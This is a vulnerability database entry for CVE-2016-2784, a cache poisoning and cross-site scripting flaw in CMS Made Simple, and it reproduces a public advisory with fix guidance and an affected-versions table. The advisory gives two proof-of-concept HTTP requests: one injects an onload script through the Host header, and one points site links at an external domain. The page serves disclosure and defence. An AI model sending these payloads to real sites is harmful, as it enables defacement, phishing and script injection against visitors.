CVE-2016-2784
Description
CMS Made Simple 2.x before 2.1.3 and 1.x before 1.12.2, when Smarty Cache is activated, allow remote attackers to conduct cache poisoning attacks, modify links, and conduct cross-site scripting (XSS) attacks via a crafted HTTP Host header in a request.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning
=============================================
Web Server Cache Poisoning in CMS Made Simple
=============================================
CVE-2016-2784
Product Description
===================
CMS Made Simple is a great tool with many plugins to publish content on the Web. It aims to
be simple to use by end users and to provide a secure and robust website.
Website: http://www.cmsmadesimple.org/
Description
===========
A remote unauthenticated attacker can insert malicious content in a CMS Made Simple
installation by poisoning the web server cache when Smarty Cache is activated by modifying
the Host HTTP Header in his request.
The vulnerability can be triggered only if the Host header is not part of the web server
routing process (e.g. if several domains are served by the same web server).
This can lead to phishing attacks because of the modification of the site's links,
defacement or Cross-Site-Scripting attacks by a lack of filtering of HTML entities in
$_SERVER variable.
**Access Vector**: remote
**Security Risk**: medium
**Vulnerability**: CWE-20
**CVSS Base score**: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
----------------
Proof of Concept
----------------
Request that shows improper HTML entities filtering and will insert
' onload='javacript:alert(Xss) in the pages :
GET / HTTP/1.1
Host: ' onload='javascrscript:ipt:alert(Xss)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Request that changes the root domain for all links and allows to redirect to external
websites :
GET / HTTP/1.1
Host: www.malicious.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Solution
========
Use the variable $_SERVER['SERVER_NAME'] instead of the variable $_SERVER['HTTP_HOST']
given that the server name is correctly defined or use an application specific
constant.
Fixes
=====
Upgrade to CMS Made Simple 2.1.3 or 1.12.2.
See http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia and
http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point for upgrade
instructions.
Mitigation : disable Smarty caching in the admin panel.
Affected Versions
=================
CMS Made Simple < 2.1.3 and < 1.12.2
Vulnerability Disclosure Timeline
=================================
02-24-2016: Vendor contacted
02-24-2016: Vulnerability confirmed by the vendor
03-01-2016: CVE identifier assigned
03-28-2016 & 04-16-2016: Vendor patch release
05-03-2016: Public Disclosure
Credits
=======
* Mickaël Walter, I-Tracing (lab -at- i-tracing -dot- com)
Website: http://www.i-tracing.com/
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| cmsmadesimple | cms_made_simple | 1.0 | |
| cmsmadesimple | cms_made_simple | 1.0.1 | |
| cmsmadesimple | cms_made_simple | 1.0.2 | |
| cmsmadesimple | cms_made_simple | 1.0.3 | |
| cmsmadesimple | cms_made_simple | 1.0.4 | |
| cmsmadesimple | cms_made_simple | 1.0.5 | |
| cmsmadesimple | cms_made_simple | 1.0.6 | |
| cmsmadesimple | cms_made_simple | 1.0.7 | |
| cmsmadesimple | cms_made_simple | 1.0.8 | |
| cmsmadesimple | cms_made_simple | 1.1 | |
| cmsmadesimple | cms_made_simple | 1.1.1 | |
| cmsmadesimple | cms_made_simple | 1.1.2 | |
| cmsmadesimple | cms_made_simple | 1.1.3.1 | |
| cmsmadesimple | cms_made_simple | 1.1.4.1 | |
| cmsmadesimple | cms_made_simple | 1.2 | |
| cmsmadesimple | cms_made_simple | 1.2.1 | |
| cmsmadesimple | cms_made_simple | 1.2.2 | |
| cmsmadesimple | cms_made_simple | 1.2.3 | |
| cmsmadesimple | cms_made_simple | 1.2.4 | |
| cmsmadesimple | cms_made_simple | 1.2.5 | |
| cmsmadesimple | cms_made_simple | 1.3 | |
| cmsmadesimple | cms_made_simple | 1.3.1 | |
| cmsmadesimple | cms_made_simple | 1.4 | |
| cmsmadesimple | cms_made_simple | 1.4.1 | |
| cmsmadesimple | cms_made_simple | 1.5 | |
| cmsmadesimple | cms_made_simple | 1.5.1 | |
| cmsmadesimple | cms_made_simple | 1.5.2 | |
| cmsmadesimple | cms_made_simple | 1.5.3 | |
| cmsmadesimple | cms_made_simple | 1.5.4 | |
| cmsmadesimple | cms_made_simple | 1.6 | |
| cmsmadesimple | cms_made_simple | 1.6.1 | |
| cmsmadesimple | cms_made_simple | 1.6.2 | |
| cmsmadesimple | cms_made_simple | 1.6.3 | |
| cmsmadesimple | cms_made_simple | 1.6.4 | |
| cmsmadesimple | cms_made_simple | 1.6.5 | |
| cmsmadesimple | cms_made_simple | 1.6.6 | |
| cmsmadesimple | cms_made_simple | 1.6.7 | |
| cmsmadesimple | cms_made_simple | 1.6.8 | |
| cmsmadesimple | cms_made_simple | 1.6.9 | |
| cmsmadesimple | cms_made_simple | 1.6.10 | |
| cmsmadesimple | cms_made_simple | 1.7 | |
| cmsmadesimple | cms_made_simple | 1.7.1 | |
| cmsmadesimple | cms_made_simple | 1.8 | |
| cmsmadesimple | cms_made_simple | 1.8.1 | |
| cmsmadesimple | cms_made_simple | 1.8.2 | |
| cmsmadesimple | cms_made_simple | 1.9 | |
| cmsmadesimple | cms_made_simple | 1.9.1 | |
| cmsmadesimple | cms_made_simple | 1.9.2 | |
| cmsmadesimple | cms_made_simple | 1.9.3 | |
| cmsmadesimple | cms_made_simple | 1.9.4 | |
| cmsmadesimple | cms_made_simple | 1.9.4.1 | |
| cmsmadesimple | cms_made_simple | 1.9.4.2 | |
| cmsmadesimple | cms_made_simple | 1.9.4.3 | |
| cmsmadesimple | cms_made_simple | 1.10 | |
| cmsmadesimple | cms_made_simple | 1.10.1 | |
| cmsmadesimple | cms_made_simple | 1.10.2 | |
| cmsmadesimple | cms_made_simple | 1.10.3 | |
| cmsmadesimple | cms_made_simple | 1.11 | |
| cmsmadesimple | cms_made_simple | 1.11.1 | |
| cmsmadesimple | cms_made_simple | 1.11.2 | |
| cmsmadesimple | cms_made_simple | 1.11.2.1 | |
| cmsmadesimple | cms_made_simple | 1.11.3 | |
| cmsmadesimple | cms_made_simple | 1.11.4 | |
| cmsmadesimple | cms_made_simple | 1.11.5 | |
| cmsmadesimple | cms_made_simple | 1.11.6 | |
| cmsmadesimple | cms_made_simple | 1.11.7 | |
| cmsmadesimple | cms_made_simple | 1.11.8 | |
| cmsmadesimple | cms_made_simple | 1.11.9 | |
| cmsmadesimple | cms_made_simple | 1.11.10 | |
| cmsmadesimple | cms_made_simple | 1.11.11 | |
| cmsmadesimple | cms_made_simple | 1.11.12 | |
| cmsmadesimple | cms_made_simple | 1.11.13 | |
| cmsmadesimple | cms_made_simple | 1.12 | |
| cmsmadesimple | cms_made_simple | 1.12.1 | |
| cmsmadesimple | cms_made_simple | 2.0 | |
| cmsmadesimple | cms_made_simple | 2.0.1 | |
| cmsmadesimple | cms_made_simple | 2.0.1.1 | |
| cmsmadesimple | cms_made_simple | 2.1 | |
| cmsmadesimple | cms_made_simple | 2.1.1 | |
| cmsmadesimple | cms_made_simple | 2.1.2 | |
References
- http://packetstormsecurity.com/files/136897/CMS-Made-Simple-Cache-Poisoning.html
- http://seclists.org/fulldisclosure/2016/May/15
- http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia/
- http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point/
- http://www.securityfocus.com/archive/1/538272/100/0/threaded
- https://www.exploit-db.com/exploits/39760/
- http://packetstormsecurity.com/files/136897/CMS-Made-Simple-Cache-Poisoning.html
- http://seclists.org/fulldisclosure/2016/May/15
- http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia/
- http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point/
- http://www.securityfocus.com/archive/1/538272/100/0/threaded
- https://www.exploit-db.com/exploits/39760/
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.